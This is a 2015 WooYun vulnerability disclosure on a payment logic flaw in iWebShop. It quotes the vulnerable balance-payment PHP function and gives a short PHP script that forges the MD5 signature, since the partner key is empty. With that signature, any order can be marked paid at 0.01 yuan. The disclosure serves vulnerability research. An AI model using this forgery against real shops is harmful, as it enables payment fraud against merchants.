当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-096384

漏洞标题:Iwebshop 最新版支付漏洞(1分钱任意买)

相关厂商:iWebShop

漏洞作者: 路人甲

提交时间:2015-02-16 13:21

修复时间:2015-04-30 18:48

公开时间:2015-04-30 18:48

漏洞类型:设计缺陷/逻辑错误

危害等级:中

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-16: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-04-30: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

Iwebshop 最新版支付漏洞(1分钱任意买)

详细说明:

看到iwebshop在2015.01.26又更新了(v3.0.15011000),看了看更新说明,说已经修改了wooyun上的漏洞,就下下来研究一下。
问题点:POST /index.php?controller=ucenter&action=payment_balance 用户在支付自己的订单时(预存款 支付),抓包修改价格,但是有一个数据校验,下面看看是如何突破检验的。
文件在/controllers/ucenter.php的payment_balance()方法中

function payment_balance()
{
$urlStr = '';
$user_id = intval($this->user['user_id']);
$return['attach'] = IReq::get('attach');
$return['total_fee'] = IReq::get('total_fee');
$return['order_no'] = IReq::get('order_no');
$return['return_url'] = IReq::get('return_url');
$sign = IReq::get('sign');
if(stripos($return['order_no'],'recharge_') !== false)
{
IError::show(403,'余额支付方式不能用于在线充值');
exit;
}
if(floatval($return['total_fee']) <= 0 || $return['order_no'] == '' || $return['return_url'] == '')
{
IError::show(403,'支付参数不正确');
}
else
{
$paymentDB = new IModel('payment');
$paymentRow = $paymentDB->getObj('class_name = "balance" ');
$pkey = Payment::getConfigParam($paymentRow['id'],'M_PartnerKey');

echo gettype($pkey);
//md5校验
ksort($return);
foreach($return as $key => $val)
{
$urlStr .= $key.'='.urlencode($val).'&';
}
$urlStr .= $user_id.$pkey;
if($sign != md5($urlStr)) //********问题点在这里!!!*******
{
IError::show(403,'数据校验不正确');
}
else
{
$memberObj = new IModel('member');
$memberRow = $memberObj->getObj('user_id = '.$user_id);
if(empty($memberRow))
{
IError::show(403,'用户信息不存在');
exit;
}
else if($memberRow['balance'] < $return['total_fee'])
{
IError::show(403,'账户余额不足');
exit;
}
else
{
$orderObj = new IModel('order');
$orderRow = $orderObj->getObj('order_no = "'.IFilter::act($return['order_no']).'" and pay_status = 0 and user_id = '.$user_id);
if(empty($orderRow))
{
IError::show(403,'订单已经被处理过,请查看订单状态');
exit;
}
$dataArray = array('balance' => 'balance - '.IFilter::act($return['total_fee']));
$memberObj->setData($dataArray);
$is_success = $memberObj->update('user_id = '.$user_id,'balance');
if($is_success)
{
$return['is_success'] = 'T';
}
else
{
$return['is_success'] = 'F';
}
ksort($return);
//返还的URL地址
$responseUrl = '';
foreach($return as $key => $val)
{
$responseUrl .= $key.'='.urlencode($val).'&';
}
$nextUrl = urldecode($return['return_url']);
if(stripos($nextUrl,'?') === false)
{
$return_url = $nextUrl.'?'.$responseUrl;
}
else
{
$return_url = $nextUrl.'&'.$responseUrl;
}
//计算要发送的md5校验
$urlStrMD5 = md5($responseUrl.$user_id.$pkey);
//拼接进返还的URL中
$return_url.= 'sign='.$urlStrMD5;
header('location:'.$return_url);
}
}
}
}
}


用来做数据校验的$sign由客户端发到服务器,因此,这里我们可以修改,校验字段的生成方法如下

<?php
$urlStr = '';
$pkey = '';
$user_id= 1;
$return['attach'] = "1";
$return['total_fee'] = '0.01';
$return['order_no'] = '20150207214421724325';
$return['return_url'] = urldecode("http%3A%2F%2F192.168.0.107%2Findex.php%3Fcontroller%3Dblock%26action%3Dcallback%26_id%3D1");
ksort($return);
foreach($return as $key => $val)
{
$urlStr .= $key.'='.urlencode($val).'&';
}
$urlStr .= $user_id.$pkey;
echo md5($urlStr);
?>


当$sign= md5($urlStr)时,即可绕过校验,由上面的代码可知,只要知道$pkey、$user_id以及自己的输入(通过抓包可获得),就可以得到 md5($urlStr)了。
$pkey一直是空,$user_id在post的包中可以获得(具体见下图)

修改副本.jpg


下图为初始用户信息

初始用户信息副本.jpg


下图为支付完成后的图,只用了1分钱就完成了支付

支付完成副本.jpg

漏洞证明:

见详细说明

修复方案:

用户属性验证

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝